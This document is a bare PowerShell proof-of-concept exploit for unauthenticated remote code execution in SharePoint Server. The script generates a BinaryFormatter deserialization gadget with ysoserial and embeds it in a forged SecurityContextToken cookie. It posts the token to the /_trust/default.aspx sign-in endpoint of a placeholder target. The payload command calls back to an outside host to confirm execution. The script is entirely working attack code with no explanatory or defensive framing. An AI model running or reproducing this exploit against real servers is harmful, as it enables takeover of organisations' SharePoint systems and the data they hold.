SharePoint SE p2o PoC

SharePoint SE p2o PoC.ps1

$n=[Guid]::NewGuid().ToString('N');$cb="http://remote/spse-cookie-rce-$n";$tmp="$env:TEMP\$n.bin";$cmd="powershell.exe -NoProfile -NonInteractive -Command Invoke-WebRequest -UseBasicParsing '$cb'";& 'ysoserial.exe' -g TypeConfuseDelegate -f BinaryFormatter -o raw -c $cmd --outputpath $tmp|Out-Null;Add-Type -AssemblyName System.IdentityModel;$raw=[IO.File]::ReadAllBytes($tmp);$cookie=[Convert]::ToBase64String(([System.IdentityModel.DeflateCookieTransform]::new()).Encode($raw));$token="<sc:SecurityContextToken xmlns:sc='http://schemas.xmlsoap.org/ws/2005/02/sc'><sc:Identifier>urn:unique-id:securitycontext:$n</sc:Identifier><Cookie xmlns='http://schemas.microsoft.com/ws/2006/05/security'>$cookie</Cookie></sc:SecurityContextToken>";$rstr="<t:RequestSecurityTokenResponse xmlns:t='http://schemas.xmlsoap.org/ws/2005/02/trust'><t:RequestedSecurityToken>$token</t:RequestedSecurityToken></t:RequestSecurityTokenResponse>";Write-Host "Callback: $cb";try{Invoke-WebRequest 'http://TARGET/_trust/default.aspx' -Method Post -Proxy 'http://127.0.0.1:8080' -ContentType 'application/x-www-form-urlencoded' -Body @{wa='wsignin1.0';wctx='http://TARGET/';wresult=$rstr} -UseBasicParsing -TimeoutSec 60}finally{Remove-Item $tmp -Force -ErrorAction SilentlyContinue}